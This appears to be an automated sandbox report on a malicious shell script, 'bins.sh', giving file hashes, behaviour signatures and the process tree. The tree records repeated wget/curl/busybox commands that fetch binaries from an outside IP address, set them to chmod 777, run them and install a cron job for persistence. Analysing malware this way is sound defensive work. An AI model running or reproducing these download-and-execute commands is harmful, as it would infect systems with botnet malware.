Analysis

  • max time kernel
    150s
  • max time network
    150s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    25-11-2024 23:56

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    81a496ac5416f01f492d7eb50039a21c

  • SHA1

    ecfdd7164357b662411ff449bec53c5a7aebc3cf

  • SHA256

    ebecfae9d26f90c6a359f204c8aafff6948e28df6e9fc31707db37589222e423

  • SHA512

    45b404d7ae5e72ba3958dd00940279dfbf8241c3cf0b9f85a3c8735ebec4fb038a3159df3a80636388025d7149d216ca1a9587dd99c5ecde8754380b8a3ee4be

  • SSDEEP

    96:UmC6SBd7G2JT0a6MHjOszPlaqL7Z7p7Fa2F8mEwFC6SBd7wJfbozzPlaqLWy7Z7Z:Un02VUmF1Fa2ypF1Fa2l

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 5 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 5 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 15 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:1493
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:1494
        • /usr/bin/wget
          wget http://216.126.231.240/bins/LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez2
          2⤵
          • Writes file to tmp directory
          PID:1495
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez2
          2⤵
          • Writes file to tmp directory
          PID:1506
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez2
          2⤵
          • Writes file to tmp directory
          PID:1507
        • /bin/chmod
          chmod 777 LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez2
          2⤵
          • File and Directory Permissions Modification
          PID:1508
        • /tmp/LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez2
          ./LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez2
          2⤵
          • Executes dropped EXE
          PID:1509
        • /bin/rm
          rm LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez2
          2⤵
            PID:1511
          • /usr/bin/wget
            wget http://216.126.231.240/bins/gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqq
            2⤵
            • Writes file to tmp directory
            PID:1512
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqq
            2⤵
            • Writes file to tmp directory
            PID:1513
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqq
            2⤵
            • Writes file to tmp directory
            PID:1514
          • /bin/chmod
            chmod 777 gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqq
            2⤵
            • File and Directory Permissions Modification
            PID:1515
          • /tmp/gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqq
            ./gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqq
            2⤵
            • Executes dropped EXE
            PID:1516
          • /bin/rm
            rm gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqq
            2⤵
              PID:1518
            • /usr/bin/wget
              wget http://216.126.231.240/bins/JKQeZtqk4ln70QJCWUeXtQdTYHlMl6WKgy
              2⤵
              • Writes file to tmp directory
              PID:1519
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/JKQeZtqk4ln70QJCWUeXtQdTYHlMl6WKgy
              2⤵
              • Writes file to tmp directory
              PID:1520
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/JKQeZtqk4ln70QJCWUeXtQdTYHlMl6WKgy
              2⤵
              • Writes file to tmp directory
              PID:1521
            • /bin/chmod
              chmod 777 JKQeZtqk4ln70QJCWUeXtQdTYHlMl6WKgy
              2⤵
              • File and Directory Permissions Modification
              PID:1522
            • /tmp/JKQeZtqk4ln70QJCWUeXtQdTYHlMl6WKgy
              ./JKQeZtqk4ln70QJCWUeXtQdTYHlMl6WKgy
              2⤵
              • Executes dropped EXE
              PID:1523
            • /bin/rm
              rm JKQeZtqk4ln70QJCWUeXtQdTYHlMl6WKgy
              2⤵
                PID:1525
              • /usr/bin/wget
                wget http://216.126.231.240/bins/d5NkRj71QwJRAbAWRernZNKWNlkpUrBj5I
                2⤵
                • Writes file to tmp directory
                PID:1526
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/d5NkRj71QwJRAbAWRernZNKWNlkpUrBj5I
                2⤵
                • Writes file to tmp directory
                PID:1527
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/d5NkRj71QwJRAbAWRernZNKWNlkpUrBj5I
                2⤵
                • Writes file to tmp directory
                PID:1528
              • /bin/chmod
                chmod 777 d5NkRj71QwJRAbAWRernZNKWNlkpUrBj5I
                2⤵
                • File and Directory Permissions Modification
                PID:1529
              • /tmp/d5NkRj71QwJRAbAWRernZNKWNlkpUrBj5I
                ./d5NkRj71QwJRAbAWRernZNKWNlkpUrBj5I
                2⤵
                • Executes dropped EXE
                PID:1530
              • /bin/rm
                rm d5NkRj71QwJRAbAWRernZNKWNlkpUrBj5I
                2⤵
                  PID:1532
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/QKfPyFQPaUdQTzt6Qf9FPHma448heT7Uc4
                  2⤵
                  • Writes file to tmp directory
                  PID:1533
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/QKfPyFQPaUdQTzt6Qf9FPHma448heT7Uc4
                  2⤵
                  • Writes file to tmp directory
                  PID:1534
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/QKfPyFQPaUdQTzt6Qf9FPHma448heT7Uc4
                  2⤵
                  • Writes file to tmp directory
                  PID:1535
                • /bin/chmod
                  chmod 777 QKfPyFQPaUdQTzt6Qf9FPHma448heT7Uc4
                  2⤵
                  • File and Directory Permissions Modification
                  PID:1536
                • /tmp/QKfPyFQPaUdQTzt6Qf9FPHma448heT7Uc4
                  ./QKfPyFQPaUdQTzt6Qf9FPHma448heT7Uc4
                  2⤵
                  • Executes dropped EXE
                  • Renames itself
                  • Reads runtime system information
                  PID:1537
                  • /bin/sh
                    sh -c "crontab -l"
                    3⤵
                      PID:1539
                      • /usr/bin/crontab
                        crontab -l
                        4⤵
                          PID:1540
                      • /bin/sh
                        sh -c "crontab -"
                        3⤵
                          PID:1541
                          • /usr/bin/crontab
                            crontab -
                            4⤵
                            • Creates/modifies Cron job
                            PID:1542
                      • /bin/rm
                        rm QKfPyFQPaUdQTzt6Qf9FPHma448heT7Uc4
                        2⤵
                          PID:1544
                        • /usr/bin/wget
                          wget http://216.126.231.240/bins/iAuv3ME6Ew5zqeCK7HBiCRwSG2xdOZXdp6
                          2⤵
                            PID:1547

                        Network

                        MITRE ATT&CK Enterprise v15

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        • /tmp/JKQeZtqk4ln70QJCWUeXtQdTYHlMl6WKgy

                          Filesize

                          151KB

                          MD5

                          6c583043d91c55aa470c08c87058e917

                          SHA1

                          abf65a5b9bba69980278ad09356e53de8bb89439

                          SHA256

                          2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                          SHA512

                          82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                        • /tmp/LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez2

                          Filesize

                          141KB

                          MD5

                          3ca8decdb1e52c423c521bfff02ac200

                          SHA1

                          8621ecd6807109b8541912ad9e134f6fb49bfd48

                          SHA256

                          dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                          SHA512

                          b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                        • /tmp/QKfPyFQPaUdQTzt6Qf9FPHma448heT7Uc4

                          Filesize

                          99KB

                          MD5

                          9438d9bc392bcf300a5583b6df5bc8f6

                          SHA1

                          375a6ae34b516f6f3eeea8030c4084f585017efa

                          SHA256

                          68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                          SHA512

                          1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                        • /tmp/d5NkRj71QwJRAbAWRernZNKWNlkpUrBj5I

                          Filesize

                          122KB

                          MD5

                          cd3d4b9c643e5b473fb4d88ed05f0716

                          SHA1

                          64ee7a97418583d759eaea8000890cc3bae1b5f4

                          SHA256

                          0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                          SHA512

                          164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                        • /tmp/gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqq

                          Filesize

                          151KB

                          MD5

                          3c90d5820bddcf7c5d1bd21dfa49d958

                          SHA1

                          5ba05bd489e50af97d6dc45e3a0be60e494d5083

                          SHA256

                          bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                          SHA512

                          54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                        • /var/spool/cron/crontabs/tmp.cnRRyw

                          Filesize

                          210B

                          MD5

                          d3a6fdaeb8b3f29360630f5bee39a145

                          SHA1

                          1742863f81f246bc91db1831ec2f47f083d97aae

                          SHA256

                          03aa99894c7cd080761b9f080cafe8627427f7d9acb6a55e582ec9cb4a54ef06

                          SHA512

                          695551f3e02eb4845d2b76339fd6d8c3da0008ec0dc7bea451a126707631e0d6e1f5aff103ebcb1d64504e4a5adf4b2a5b08957dc85f39de6869b3f6b0bc64c1